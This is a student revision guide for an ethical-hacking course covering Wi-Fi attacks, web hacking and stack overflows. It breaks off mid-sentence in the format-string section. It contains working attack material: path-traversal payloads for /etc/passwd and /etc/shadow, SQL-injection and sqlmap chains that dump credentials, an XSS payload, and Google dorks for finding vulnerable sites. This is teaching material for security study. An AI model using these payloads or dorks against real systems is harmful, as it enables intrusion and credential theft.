Ethical Hacking β€” Weeks 8–11

The Deep Revision Guide

Everything examinable from the Wireless, Web Hacking, Binary Attacks, Maintaining Access, Covering Tracks and APT decks β€” explained properly, with analogies for the slippery bits and a trap list for the things that are easy to get backwards.

⏰ Quiz 2 β€” the facts from the Week 8 intro deck

When: Week 12, 19 Nov 2026, 11 AM, on campus.  What: topics from Weeks 8, 9, 10 and 11 β€” lectures and labs.  Format: a combination of MCQ, MSQ (multi-select) and descriptive questions.  Missed it? Apply for short leave with a valid reason; the re-test is in Week 13 and widens to Weeks 8–12.

What's in here

  1. Wireless: WLANs, SSIDs & rogue APs
  2. Wireless: MAC addresses & spoofing
  3. Wireless: WEP β†’ WPA β†’ WPA2 β†’ WPA3
  4. Wireless: attacks, tools & defences
  5. Web: architecture, URLs & footprinting
  6. Web: the four-tier escalation & traversal
  7. Web: SQL injection end to end
  8. Web: XSS, XSRF & defacement
  9. Binary: memory, stack & buffer overflow
  10. Binary: format string attacks
  11. Keeping access: backdoors & Netcat
  12. Keeping access: trojans, rootkits, keyloggers
  13. Covering tracks: hiding, stego & logs
  14. Advanced Persistent Threats
  15. The night-before cram sheet

1 Β· Wireless: WLANs, SSIDs and rogue APs

Lecture 8 β€” Wireless Hacking

The components

SSIDs β€” the name badge of a WLAN

A Service Set Identifier identifies a WLAN much the way a workgroup does on a Windows network. Memorise the spec exactly, because it is a perfect MCQ target:

Probes vs beacons β€” don't mix these up

FrameWho sends itWhy
Probe requestThe station (client)Sent when it needs information from another station β€” e.g. to determine which APs are within range.
BeaconThe Access PointSent periodically to announce its presence and relay the timestamp, SSID and other AP parameters.
Trap

Client β†’ probe. AP β†’ beacon. If a question says "the station periodically beacons its SSID", it is wrong on both the sender and the verb.

The underlying problem: an uncontrolled RF medium

With APs beaconing their information, walls are no longer barriers. A wired network has a physical perimeter you can lock; radio spills into the car park. Tools like Vistumbler let an attacker sit outside and enumerate everything in range.

Rogue AP

An unmanaged (unauthorised) AP attached to the enterprise network β€” a significant potential backdoor. It is very easy to install one: modern operating systems help you share your internet connection, and plenty of software will turn a laptop into a software AP (Connectify). The intent is sometimes malicious, but it is just as often an unwitting, impatient employee who wanted better Wi-Fi at their desk.

What a rogue AP enables: attacks on the wired infrastructure (ARP poisoning, DHCP attacks, STP attacks, DoS), mapping the network for targeted attacks, scanning, and man-in-the-middle with data sniffing.

Solutions, and their honest limits: Network Access Control β€” not always effective, because MAC addresses can be spoofed β€” and scheduled periodic manual surveys.

Evil twin

A specific, nastier rogue AP. The recipe from the slides:

  1. Get a wireless access point.
  2. Configure it the same way as an existing network β€” same SSID and same security settings.
  3. Overpower the existing AP. You do not need to be in the same vicinity.

It works because most clients associate to the AP with the strongest signal. Once they do, the evil twin sees the network traffic of every associated client, and can additionally use MAC address spoofing to trick clients into sending passwords and sensitive information. Wi-Fi hotspots are easy bait.

Analogy β€” the evil twin

Imagine a taxi rank where you've been told "get into the car marked CITY CABS." A fraudster parks an identical car with an identical sign right at the front of the rank, closer than the real ones. You don't check whether the car is really from the company β€” the company checks you (that you can pay). You get in willingly, and now the driver hears every phone call you make on the way.

Why the client can't tell β€” the one-way authentication flaw

This is the single most important "why" in the whole wireless deck:

Remember this sentence

The IEEE 802.11b standard by default stipulates one-way authentication: an AP authenticates a user, but a user does not authenticate an AP. That is precisely why a user cannot tell when an AP is not legitimate.

And to stand up an evil twin, the attacker needs the SSID of the trusted AP and to activate it without authentication. If the AP broadcasts the SSID (or uses the default one), the attacker can simply obtain it with a sniffer.

AP honeypot

The attacker sets up a rogue AP, often as a Soft AP β€” software converts a laptop or USB Wi-Fi adapter into an access point (Virtual Router, Connectify). The soft AP broadcasts the spoofed SSID of the legitimate AP, and the attacker may even alter the MAC to that of the legitimate AP. The user connects assuming it's legitimate, and the attacker harvests personal information from the link.

Windows 7 introduced "SoftAP" for Internet Connection Sharing. The command on the slide:

netsh wlan set hostednetwork mode=allow ssid="ssid" key="passphrase" keyUsage=persistent

Soft AP configuration tools named in the deck: Virtual WiFi Router, My Public WiFi, My WiFi Router.

2 Β· Wireless: MAC addresses, filtering and spoofing

Lecture 8 β€” Wireless Hacking

The two identifiers visible in the air

The OUI

The first 3 octets are the Organizationally Unique Identifier β€” they name the vendor. The last three are the serial number. The deck's examples:

VendorOUI
Cisco (Aironet)00-04-96
Agere (Orinoco)00-02-2D
Nokia00-e0-03
Linksys00-04-5a

Also worth knowing: BSSID (Basic SSID) is the MAC address of the access point. The Windows command to scan the neighbourhood and see it is netsh wlan show networks mode=bssid.

MAC address filtering

Allowing or denying access to a wireless network based on the hardware address of the connecting device. Only permitted MACs get on. The allow-list can live on the AP, or on a RADIUS server the AP talks to.

Why it is weak: MAC addresses are sent in the clear on wireless networks and can be sniffed, so it is relatively easy to discover the authorised addresses β€” and then simply become one.

Four ways to spoof a MAC

MethodDetail from the slides
Device ManagerControl Panel β†’ View Network Status and Tasks β†’ Change adapter settings. The first 2 characters must be "02" β€” this sets the b1 bit so the MAC is locally administered. (ipconfig /all to check.)
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0017\NetworkAddress
macchangerThe Kali Linux tool.
Technitium MAC Address ChangerThe Windows GUI tool. (Also listed as a Rogue AP tool in the attack-techniques table.)

So what does spoofing actually buy the attacker?

The deck gives exactly two answers, and both are fair game as "select all that apply":

  1. AP honeypot β€” configure a fake/rogue AP's MAC to divert legitimate Wi-Fi traffic into MITM attacks, replay attacks and so on.
  2. Bypass MAC address filtering β€” spoofing an authorised device's MAC defeats the allow-list, e.g. to exploit free Wi-Fi usage.
Analogy β€” MAC filtering

MAC filtering is a nightclub guest list checked against the name printed on your T-shirt, while everybody in the queue is wearing their name in large letters. Reading a valid name off someone else's shirt and printing your own copy takes a minute. It stops the casual passer-by and nobody else.

3 Β· Wireless: WEP β†’ WPA β†’ WPA2 β†’ WPA3

Lecture 8 β€” Wireless Hacking

This is the densest, most examinable part of the wireless deck. Learn the cipher, key size, IV size and integrity check for each generation β€” that grid alone will answer a lot of questions.

WEPWPAWPA2WPA3
CipherRC4RC4 (still)AES-CCMPAES + SAE handshake
Key40-bit or 104-bit128-bitAES-basedβ€”
IV24-bit48-bit (24 IV + 24 extended IV)β€”β€”
Integrity32-bit ICV (CRC-32)64-bit MIC (Michael algorithm) + ICVCCMP MACβ€”
Key mgmtStatic shared keysTKIPPMK β†’ PTK / GTKSAE
Standardβ€”Subset of 802.11iIEEE 802.11i, provides RSNLatest and safest

WEP β€” Wired Equivalent Privacy

Based on the RC4 cipher. A secret key of 40 or 104 bits is combined with a 24-bit Initialisation Vector to encrypt plaintext M. The Integrity Check Value is computed as the CRC-32 checksum for M. The ciphertext:

C = [ M + ICV(M) ]  XOR  [ RC4(WEP Key + IV) ]

The six WEP limitations β€” learn all six

  1. Key management and key size β€” typically only 1 to 4 shared keys, and they are not changed often.
  2. A dictionary attack against the WEP key generator can succeed in a short time.
  3. The 24-bit IV is too short for cryptographic purposes β€” weak security.
  4. IV reuse produces identical keystreams. Different client adapters from the same vendor may even generate the same IV.
  5. The IV is part of the RC4 encryption key β€” the seeding of RC4 is weak.
  6. The 32-bit ICV protects the payload/data in the frame but not the header.
Analogy β€” why a 24-bit IV kills you

The IV is a "page number" that stops you encrypting two messages with the same page of the one-time pad. 24 bits is only ~16.7 million pages, and a busy AP burns through them in hours. Once two messages share a page, XOR-ing the two ciphertexts cancels the key out entirely and leaves you with the two plaintexts combined β€” the attacker never has to attack RC4 itself.

WPA β€” the interim fix

A subset of the 802.11i standard offering improved encryption and authentication (e.g. an IEEE 802.1X authentication server). Still RC4, but with 128-bit keys and a 48-bit IV that may be split into a 24-bit IV and a 24-bit extended IV.

TKIP β€” Temporal Key Integrity Protocol

WPA authentication β€” Personal vs Enterprise

Pre-shared key (PSK)IEEE 802.1X
KeysEvery user given the same pass-phraseServer distributes different keys to each user
CryptoUses TKIP β€” less secure than AESEnhanced security and authentication
Preferred forPersonal mode β€” homes, small officesEnterprise mode β€” business, government, education

WPA limitations

WPA2 β€” the real standard

Uses AES-CCMP (Advanced Encryption Standard – Counter Mode Cipher Block Chaining Message Authentication Code Protocol). Authentication is similar to WPA (Personal and Enterprise) but AES-based, and it provides RSN β€” Robust Security Network.

802.1X / EAP: the three players

RSN is delivered via 802.1X, which uses the Extensible Authentication Protocol (EAP), between three players: the Client, the Access Point, and the Authentication Server (AS). The exchange, in order:

  1. The AP sends a "request identity" message to the client.
  2. The client responds with its identity and preferred authentication method.
  3. The AP relays the client identity and authentication preferences to the AS.
  4. EAP messages are exchanged between the client and the authentication server to generate a common Master Key (MK).
  5. The AS sends a "Server Accept" message to the AP, containing the MK.
  6. The AP sends a final EAP Success message to the client.
Trap

The MK is agreed between the client and the AS, and the AS hands it to the AP inside Server Accept. The AP is a relay in the middle, not the thing that authenticates you.

WPA2 key hierarchy β€” the chain to memorise

Analogy β€” PTK vs GTK

PTK is the private line between you and the receptionist: nobody else on the floor can listen in. GTK is the building's PA system β€” everyone connected shares the same key because the message is meant to reach all of them at once. Unicast β†’ PTK. Broadcast/multicast β†’ GTK.

WPA2 limitations

WPA3 β€” SAE

KRACK β€” Key Reinstallation Attack

The exception that proves WPA2 isn't bulletproof, and a favourite exam question because it is not a cracking attack:

Trap

KRACK does not recover the Wi-Fi password and does not use a dictionary. Any option saying "brute forces the WPA2 passphrase" is wrong. Compare: the CommView + Aircrack-ng workflow is the dictionary-based one.

4 Β· Wireless: attack techniques, tools and defences

Lecture 8 β€” Wireless Hacking

The attack-techniques table — memorise the tool→attack mapping

Attack typeDescriptionTechniques / tools
Rogue APInstalling an unauthorised AP, creating a potential access point into a trusted networkVirtual WiFi Router, My Public WiFi, My WIFI Router, Technitium MAC Address Changer
WardrivingDiscovering WLANs by listening to beacons or sending probes; provides a launch point for further attacksAirmon-ng, DStumbler, KisMAC, MacStumbler, NetStumbler, Vistumbler, Wellenreiter, WiFiFoFum
DoS / DDoSDeny service to a target using one or more attacking stationsHOIC, LOIC, XOIC, HULK
Key crackingCapturing data to recover a WPA/WPA2 keyAircrack-ng, airoway, AirSnort, Wireshark
Trap

Anything ending in -stumbler (NetStumbler, Vistumbler, DStumbler, MacStumbler) is a wardriving / AP-discovery tool. Anything beginning with Air- is mostly key cracking (Aircrack-ng, AirSnort) β€” but Airmon-ng is in the wardriving row. The -OIC family (LOIC, HOIC, XOIC) is always DoS.

Wardriving

DoS and DDoS

An attempt to deny access to one or more resources, usually by cutting off access to the service or network as a whole, typically achieved by flooding the system's or server's request queue with fake requests so the server can no longer handle legitimate users. In a DDoS, many computers attack the same target β€” attackers typically use a zombie network: a group of infected computers on which the DoS attacking tool has been installed.

Tools: LOIC (Low Orbit Ion Cannon), HOIC (High Orbit Ion Cannon), XOIC, HULK, Golden Eye.

Jamming

Wireless network sniffing

Trap

Wired sniffing uses promiscuous mode; wireless adds monitor mode, and the distinguishing feature of monitor mode is capturing without associating with an AP. If an option says monitor mode requires you to join the network first, it's wrong.

The CIA attacking tools tables

These four tables are image slides, so they're easy to skip β€” and exactly the kind of thing that gets asked. Learn at minimum the tool β†’ type of attack column.

Confidentiality attacking tools

ToolDescriptionType of attack
AirSnortBrute force WEP crackerEncryption cracker
AirCrackWPA crackerEncryption cracker
Ettercap, dsniff, WiresharkPacket sniffers with traffic analysis; also include tools to break encryptionPacket sniffing
Hotspotter, APsniff, APhunter, KNSGEMDiscovers WLANs by listening for beacon signals transmitted from APsAP locator
HermesAP, OpenAPUsed to set up a rogue APEvil twin
OpenWRT, HyperWRTReplacement firmware so APs can be programmed to execute attacksFake AP creation
Trap

AirSnort = WEP. AirCrack = WPA. Swapping these two is the most likely distractor in the whole table.

Integrity attacking tools

ToolDescriptionType of attack
AirpwnAllows for generic 802.11 packet injection802.11 packet injection
File2airAllows the specified file to be used as packet payload802.11 replay
AirJack, Simple-replayAllows previously captured packets to be injected back into the network802.11 replay

Availability attacking tools

ToolDescriptionType of attack
FakeAPGenerates thousands of 802.11 beacon signalsFlooding DoS
Void11Executes deauthenticate, authenticate and association flooding attacksFlooding DoS
Many commercial toolsJams the RF signal so it cannot be distinguished by a legitimate deviceRF jamming

Bluetooth attacking tools

ToolDescriptionType of attack
BlueSmackIssues a ping of death attackDoS
BlueChopDisrupts an existing piconetDoS
BluePassCauses a buffer overflow attackDoS
BlueSnarfObtains unauthorised access to filesBluesnarfing
BlueBumpObtains the piconet keyKey bump
Mnemonic for Bluetooth

Three of the five are DoS (Smack, Chop, Pass β€” they break things). The two that take things are Snarf (takes files) and Bump (takes the key).

Wi-Fi security measures β€” the defence list

5 Β· Web: architecture, URLs and footprinting

Lecture 9 β€” Web Hacking 1

The client–server picture

Web client β†’ HTTP request (cleartext or SSL) β†’ firewall β†’ web server β†’ web apps β†’ SQL databases. The reply comes back as HTML, JavaScript, VBscript etc. The named examples from the slide:

Why web hacking replaced traditional network hacking

Traditional client-side hacking went after OS network services β€” WU-FTPD exploits, Sun RPC, NT IPC$ β€” and those hacks on OS network services can be prevented by firewalls. Internal back-end servers also sit on a non-routable private IP network. So the attacker's problem became: how do I get in at all?

The answer:

And the deck's punchline: essentially all that is needed is a web browser, an Internet connection… and a clear mind.

Analogy β€” why port 80

The firewall is a bouncer who searches everyone at the service entrance but waves through anyone carrying a pizza box, because pizza deliveries are normal and constant. Port 80 is the pizza box. You don't pick a fight with the bouncer; you just make your attack look like lunch.

The URL, component by component

ComponentWhat it is
ProtocolThe defined procedure to exchange web pages, e.g. HTTP.
ID:passwordParameters required to access a secure server. Not recommended β€” the info is in plaintext.
Server nameDomain name of the computer hosting the resource. It is possible to use the server's IP address instead.
PortNumber associated with a service, telling the server what type of resource is requested. Default is 80.
PathAccess path to the resource β€” tells the server the resource location.

Manual web footprinting

The goal: identify the functionality of a web application to gain insight into its workflow, features and user interactions, which helps in identifying potential attack surfaces. The checklist:

The footprinting toolkit

ToolWhat it doesUsage from the slides
WhatWebEnumerates the website β€” identifies what it's runningwhatweb <website>; whatweb -v <website> for more verbose
DIGDomain Information Groper β€” DNS querying, reverse DNS lookupβ€”
HTTP Header pluginChrome plugin for quick visualisation of request/response infoβ€”
Burp Suite (Community Edition)Free; the go-to tool for web app vulnerability assessment. Intercept and modify requestsIntercept On β†’ add item to cart β†’ examine/modify the packet β†’ forward
HTTrackOpen-source website mirroring β€” work offline on the vulnerabilities, study structure betterβ€”
wafw00fChecks for a WAF β€” Web Application Firewallβ€”

Why intercept HTTP at all?

The lab example is the PortSwigger "excessive trust in client-side controls" logic-flaw lab β€” log in as wiener / peter, add an item to the cart, intercept the request and change the price value to 1, then forward all messages. The lesson: if the price is decided by the client, the client can decide the price.

Web application vulnerability scanning

The deck's local target is OWASP Juice Shop in Docker:

sudo systemctl enable docker
sudo systemctl start docker
docker run --rm -p 3000:3000 bkimminich/juice-shop
# then open 127.0.0.1:3000

And the scanner is wmap inside MSFConsole:

sudo systemctl status postgresql
sudo systemctl enable postgresql
sudo msfdb init
msfconsole
load wmap
wmap_sites  -a http://<IP>      # define the site
wmap_targets -t <URL>           # add the target
Order matters

Add the site first (wmap_sites -a), then set the target (wmap_targets -t), then run and list the vulnerabilities. Postgres must be up before msfdb init.

6 Β· Web: the four-tier escalation and directory traversal

Lecture 9 β€” Web Hacking 1

The escalation ladder

The deck builds the "Types of Web Hacks" slide up one layer at a time. Learn the ladder β€” it explains why these attacks are described as "part of a larger spectrum":

#Attack classRoot cause on the slide
1URL Manipulation attacksWeb server mis-configuration β€” add ' or ;. Part of the larger spectrum of SQLI attacks.
2URL Interpretation attacksHidden paths, DETURL.com, robots.txt
3Input Validation attacksPoor checking of user inputs. Part of the larger spectrum of SQLI and XSS attacks.
4SQL InjectionExtend SQL statements

URL manipulation in practice

URL interpretation

Trap

robots.txt is a request to crawlers, not an access control. Listing your secret admin directory in it tells every attacker exactly where to look. "There are a variety of methods to keep certain directories and files hidden" β€” robots.txt is not really one of them.

Directory / path traversal

The mechanism: ..\ instructs the system to go one directory up. From C:\xx\yy\zz, to reach abc.txt in xx you type ..\..\abc.txt. It is ..\ on Windows and ../ on UNIX-like OSs.

The definition to quote: it exploits inadequate security mechanisms to access directories and files stored outside of the web root folder, and the vulnerability is the result of insufficient filtering/validation of browser input from users.

Classic targets from the cheat sheet slide:

/etc/master.passwd
/master.passwd
/etc/passwd
/etc/shadow%00
../../etc/passwd%00
../apache/logs/access.log

Bypassing path traversal filters β€” the encoding table

Two separate tricks here; keep them apart.

(a) Defeating an extension check. Some websites test whether the file has the correct extension, or append one themselves. This can be subverted by introducing a URL-encoded NULL byte β€” everything after it is removed β€” or a URL-encoded newline:

../../../../etc/password%00.jpg     # NULL byte
../../../../etc/password%0a.jpg     # newline

The check works because it is implemented by an API call that does not resolve URL encoding.

(b) Defeating a character blacklist. If the webserver disallows specific characters, try forward and backward slashes, then escalate through the encodings:

Encodingdotforward slashbackward slash
Simple URL encoding%2e%2f%5c
16-bit Unicode%u002e%u002f%u005c
Double URL encoding (encode the %)%252e%252f%255c
Overlong UTF-8 Unicode%c0%2e%c0%2f%c0%5c
How to remember the ladder

2e / 2f / 5c are the plain ASCII hex values. Put u00 in front for Unicode. Re-encode the leading % as %25 for double encoding. Prefix %c0 for overlong UTF-8. Same three characters, four disguises.

7 Β· Web: SQL injection, end to end

Lecture 9 β€” Web Hacking 1

The definition

A code injection technique that exploits a vulnerability in the backend SQL database or web app. It happens when user input is not filtered for string literal characters embedded in SQL statements, or when the web application uses user-supplied data without proper input validation and encoding, as part of a command or query. Attackers submit specially crafted input to the SQL interpreter and trick the interpreter into executing unintended commands.

Analogy β€” why injection works at all

You phone a warehouse and read out an order from a form: "Send me the item named [whatever the customer typed]." The clerk can't hear the difference between the words you're quoting and the words you're instructing with. If the customer wrote "widget, and also ship everything to my address", the clerk just… does it. SQL injection is the database being unable to hear your quotation marks.

Step 1 β€” find out whether it's vulnerable

Add a ' to the password or username field. A system error caused by the password with ' shows the SQLI vulnerability β€” the unbalanced quote broke the query. Adding '' (two quotes) rebalances it and the error goes away, which confirms it.

Step 2 β€” bypass the login

Trace the three attempts from the demo, because the exam likes asking why attempt two failed:

InputResulting queryOutcome
vivek' --SELECT * From users WHERE username = 'vivek' -- AND password = '123'Password check bypassed for username 'vivek'
vivek' or 1 = 1... username = 'vivek' or 1 = 1' -- AND password = '123'Unbalanced ' causes errors
vivek' or 1 = 1 --... username = 'vivek' or 1 = 1 -- AND password = '123'Password check bypassed for all users

-- indicates a comment, so everything after it is ignored. Sometimes comments are defined by # or /*.

Balancing parentheses

If the application wraps your input in brackets, you have to close them too:

<username>' --
<username>') or 1 = 1 --
<password>' OR 1 = 1 )#

SQLI variations β€” when the obvious payload is blocked

The six-step attack procedure

  1. App sends form to user.
  2. Attacker submits form with SQL exploit data.
  3. Application builds a string with the exploit data.
  4. Application sends the SQL query to the DB.
  5. DB executes the query, including the exploit, and sends data back to the application.
  6. Application returns data to the user.
Trap

Notice the firewall sits between the attacker and the web server and is completely bypassed β€” the malicious payload travels inside a legitimate-looking HTTP form submission. The database trusts the application; the application trusted the user.

Finding vulnerable sites with Google dorks

inurl:index.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:page.php?file=
inurl:portfolio.php?cat_id=

And in the Web Hacking 2 deck, for SQLI Hunter: inurl:".php?id=" intext:"View cart".

The full exploitation chain (MySQL demo)

This sequence is heavily examinable. Learn what each command is for, not just its syntax.

GoalPayloadKey idea
Confirm vulnerability?cat=1'Gives an SQL error
Count the columns?cat=1 order by NORDER BY n sorts by column n. Increment until it errors β€” at ORDER BY 12 it errors, so there are 11 columns ("Unknown column '4' in 'order clause'")
Find the vulnerable column?cat=-1 union select 1,2,...,11UNION SELECT combines the results of two or more SELECTs without returning duplicate rows. The negative number (-1) makes the first query return nothing, so the injected row is displayed β€” revealing vulnerable column 11
Fingerprint the DB...,10,@@versionReturns SQL version 5.1.73, OS Ubuntu β†’ could be MySQL
List tablesgroup_concat(table_name) from information_schema.tables where table_schema=database()All data regarding the table structure is in information_schema
List columnsgroup_concat(column_name) from information_schema.columns where table_name='users'Zoom in on the users table
Dump recordsconcat(uname,0x3a,pass,0x3a,email,0x3a,name) from users --0x3a is the colon (:) used to separate the result; -- escapes redirection
Two numbers worth memorising

ORDER BY 12 errors β†’ 11 columns (the error is at one more than the real count). And 0x3a = colon.

The same chain on OWASP Juice Shop (SQLite)

Juice Shop is the modern version of the demo, and the syntax differs because the backend is SQLite, not MySQL. The injection point is the REST endpoint http://localhost:3000/rest/products/search?q= β€” that is where your input lands in a raw SQL query, and all manipulation is done on that URL in the browser address bar.

Behind the scenes the server builds roughly:

SELECT * FROM Products
WHERE ((name LIKE '%apple%' OR description LIKE '%apple%')
AND deletedAt IS NULL) ORDER BY name

Which is why the escape prefix is ')) β€” you must close the quote and the two brackets. The chain:

GoalPayload after ?q=
Count columnsqwert')) ORDER BY 9-- works; ORDER BY 10-- errors β†’ 9 columns
Fingerprintqwert')) UNION SELECT 1,sqlite_version(),3,4,5,6,7,8,9--
Enumerate tablesqwert')) UNION SELECT 1,name,3,4,5,6,7,8,9 FROM sqlite_master WHERE type='table'--
Reveal user columnsqwert')) UNION SELECT 1,sql,3,4,5,6,7,8,9 FROM sqlite_master WHERE name='Users'--
Dump credentialsqwert')) UNION SELECT id, email, password, '4','5','6','7','8','9' FROM Users--
Trap β€” MySQL vs SQLite

MySQL uses information_schema.tables and @@version. SQLite uses sqlite_master and sqlite_version(). Getting these crossed is the single easiest way to lose a mark on this topic.

Impact of SQL injection β€” the six

  1. Leakage of sensitive information
  2. Modification of sensitive information
  3. Loss of data
  4. Loss of reputation
  5. Loss of control of DB server
  6. Denial of service

Vulnerabilities exploited, and the core security problems

Why it keeps working: HTTP variables passed in the URL are easily accessible; attacks can also manipulate specific system variables; the web app may respond with detailed error information, which attackers use to discover more about the app and its backend.

The five organisational "core security problems": ignoring where sensitive information is stored and not understanding how it is at risk; underutilisation of existing network and web security tools (application-aware firewall, web vulnerability scanners); remediation without understanding what your tools are trying to tell you; assuming it's someone else's problem (responsibility deflected to the cloud); and misunderstanding the larger goals of the business and what management needs to hear and see.

8 Β· Web: XSS, XSRF and defacement

Lecture 9 β€” Web Hacking 2

XSS β€” the four-step cycle

The framing sentence from the deck: the attacker does not target the victim directly.

  1. Attacker injects malicious code into a vulnerable web server.
  2. Victim visits the vulnerable web server.
  3. Malicious code is served to the victim by the web server.
  4. Malicious code executes on the victim's computer with the web server's privileges.
Analogy β€” XSS

The attacker doesn't poison you; he poisons the restaurant's salt shaker. Everyone who eats there seasons their own food with it. The restaurant's good name is exactly what makes the poison effective β€” your browser trusts the code because of where it came from, not who wrote it.

What arbitrary JavaScript in another browser buys you

AttackMechanism named in the slide
Cookie theftAccess the victim's cookies using document.cookie, send them to the attacker's server, extract sensitive information like session IDs
KeyloggingRegister a keyboard event listener using addEventListener and send all keystrokes to the attacker's server
PhishingInsert a fake login form via DOM manipulation, set the form's action attribute to the attacker's server, trick the user into submitting

The three types of XSS

TypeDefinition from the slideWhere the payload lives
PersistentThe vulnerable application stores (e.g. in the database) the attacker's code and presents it to its visitorsServer-side storage
ReflectedThe vulnerable application simply "reflects" the attacker's code to its visitorsThe request (URL / POST param / cookie)
DOM-basedThe application includes pages that use untrusted parts of their DOM model (e.g. document.location, document.URL) in an insecure wayNever reaches the server

DOM = Document Object Model, a convention for representing and working with objects in an HTML document.

The step sequences β€” note the count

Persistent (4 steps): attacker uses one of the website's forms to insert malicious script into the DB β†’ victim requests website page β†’ website includes the malicious script from the database and sends it to the victim β†’ victim's browser executes it, sending the victim's cookies to the attacker's server.

Reflected (4 steps): attacker crafts a URL containing malicious script and sends it to the victim β†’ victim is tricked into requesting the URL β†’ website includes the malicious script from the URL in the response β†’ victim's browser executes it.

DOM-based (5 steps): attacker crafts a URL containing malicious script β†’ victim is tricked into requesting it β†’ the website receives the request but does NOT include the malicious script in the response β†’ the victim's browser executes the legitimate script in the response, which inserts the malicious script into the page β†’ the browser executes the inserted script, sending cookies to the attacker.

The one-line discriminator

DOM-based XSS is invisible to the server. The payload lives after the # in the URL fragment, which browsers never transmit. That's why it's 5 steps instead of 4 β€” there's an extra hop where the page's own legitimate JavaScript does the injecting for you.

The demo makes this concrete: the XSS triggers because the client-side script uses part of window.location to set the innerHTML of an element. The substring of location.hash (the string after the #) is passed as the argument to the chooseTab function, so the image src variable can be controlled:

https://xss-game.appspot.com/level3/frame#2'><img src=x onerror=alert(/DOM-XSS/)

How the payload is delivered

The victim must either visit any page controlled by the attacker β€” which might include an invisible iframe pointing at the vulnerable site along with the payload β€” or click a URL link from the attacker, possibly obscured by a URL shortener. The payload can be in a parameter of an HTTP POST request, as part of the URL, or even within the web browser cookie β€” basically anywhere a user can supply input.

XSRF / CSRF β€” Cross-Site Request Forgery

The four steps:

  1. Victim is logged into the vulnerable web site.
  2. Victim visits a malicious page on the attacker's web site.
  3. Malicious content is delivered to the victim β€” e.g. <img src=http://vuln/delete>.
  4. Victim involuntarily sends a request to the vulnerable web site, carrying their session cookie.
Analogy β€” XSRF vs XSS

XSS steals your identity card. XSRF doesn't need it β€” it just shoves a form under your nose while you're already signed in and gets you to sign it without reading. The website can't tell the difference, because the signature really is yours.

Trap β€” the precondition

XSRF requires the victim to already be logged in to the legitimate site. XSS has no such requirement. If a question hinges on "what must be true before the attack works", that's the discriminator.

The XSRF demo details

Website defacement and the automation tools

The SQLMAP command structure from the Juice Shop demo β€” note how it mirrors the manual steps:

sqlmap -u "http://localhost:3000/rest/products/search?q=apple" \
  --prefix="')) " --suffix="-- -" --union-cols=9 \
  --dbms=sqlite --technique=U --no-cast --batch --tables

# then dump credentials:
sqlmap ... --batch -T Users -C email,password --dump

And the older MySQL target, showing the classic three-stage drill-down:

sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
sqlmap.py -u ... -D acuart -T users --columns
sqlmap.py -u ... -D acuart -T users -C email,name,pass --dump
Pattern to remember

--tables β†’ --columns β†’ --dump. Database, then table, then columns, then records. It is exactly the manual information_schema chain, automated.

9 Β· Binary: memory, the stack and buffer overflow

Lecture 10 β€” Buffer Overflow and Format String Attacks

Why C and C++ are the problem

In C/C++ the program is responsible for its own memory management, which is very error-prone. The typical bugs:

Why it still matters: C and C++ are still popular (Microsoft Windows, Microsoft Excel, Linux, Mozilla, MySQL) and critical systems are written in C/C++ β€” OS kernels and utilities, high-performance servers like Apache and nginx, and embedded systems.

The minimal example

char buffer[4];
buffer[4] = 'a';     // buffer ends at buffer[3]

That is a buffer overflow: C lets you overwrite buffer[4] even though the buffer ends at buffer[3]. And the key sentence: if the data written is user input that can be controlled by an attacker, this vulnerability can be exploited.

Normally a program with this bug will simply crash. But an attacker can alter the situation so the program does much worse: steal private information (e.g. Heartbleed), corrupt valuable information, or run code of the attacker's choice.

Memory layout β€” bottom to top

Learn this stack of regions in order, with what lives in each. Addresses run from 0x00000000 at the bottom to 0xffffffff (4G) at the top.

Region (low β†’ high)HoldsWhen it's fixed
TextInstructionsKnown at compile time
Initialized Datastatic const int y = 10;
Uninitialized Datastatic int x;
Heapmalloc(sizeof(int));Runtime
StackLocal variables β€” int x; inside a function
Cmdline & envCommand line and environmentSet when the process starts

What a function call puts on the stack

QuestionAnswer from the slide
What data needs to be stored on a call?Function arguments, return address, base pointer
Where does it go?The stack
What needs restoring on return?The stack state, from the stack

The frame layout, and the two orderings

For void foo(char *arg1, int arg2, int arg3) with locals loc1, loc2, the frame reads (low β†’ high):

... | loc2 | loc1 | %ebp | %eip | arg1 | arg2 | arg3 | caller's data | β†’ 0xffffffff
              [ stack frame for foo ]
Trap

Locals β†’ same order. Arguments β†’ reverse order. This pair gets asked constantly and is easy to flip.

Accessing a variable

You can't know the absolute address at compile time, but the relative address of loc2 is always 8 bytes before the frame pointer (base pointer, %ebp). That is the entire reason the frame pointer exists.

The three registers

RegisterRole
%espStack pointer β€” where the end/top of the stack is right now
%ebpBase / frame pointer β€” the fixed anchor locals and args are addressed from
%eipInstruction pointer β€” the return address is a saved %eip

x86 calling conventions β€” the three roles

RoleSteps
Calling functionPush arguments onto the stack in reverse β†’ push the return address β†’ jump to the function's address
Callee functionPush old frame pointer onto the stack (%ebp) β†’ set %ebp to where the end of the stack is right now (%esp) β†’ push local variables
Returning functionReset the previous stack frame: %esp = %ebp, %ebp = (%ebp) β†’ jump back: %eip = 4(%esp)

The three-step version for setting up the callee, from the slide: (1) push %ebp β€” backing up the caller's base pointer on the stack; (2) set %ebp to the current %esp β€” %esp has changed because of step 1, so the top of the stack becomes the callee's base pointer; (3) set %ebp to (%ebp) at return β€” restoring the backed-up value.

The actual overflow

void f(int x) {
    char[8] buf;
    gets(buf);        // what if gets() reads more than 8 bytes?
}
void main() { f(…); … }
void format_hard_disk(){…}

The frame is buf[0..3] | buf[4..7] | Return addr | x | main(). Write past buf[7] and you are writing into the return address. Since the returning function does %eip = 4(%esp), whatever sits there is where execution resumes β€” which is how the attacker redirects control to something like format_hard_disk().

Analogy β€” the stack frame

Think of the return address as the forwarding address written on the back of an envelope before you post it into a sorting office. The local buffer is the letter inside. If the letter is longer than the envelope, the overflow bleeds through onto the back and rewrites the forwarding address β€” and the sorting office obediently delivers the mail wherever the new address now points. The office never questions the address; that's its whole job.

Why gets() specifically

gets() has no way to be told how big the destination is. It reads until a newline, full stop. The function has no bound to check against, so the "bounds check" would have to be the programmer's discipline β€” which is exactly what the lecture means by "the program is responsible for its memory management."

10 Β· Binary: format string attacks

Lecture 10 β€” Buffer Overflow and Format String Attacks

The setup

Format string attacks are described as another way of corrupting the stack. Strings in C can contain special characters such as %s β€” these are format strings:

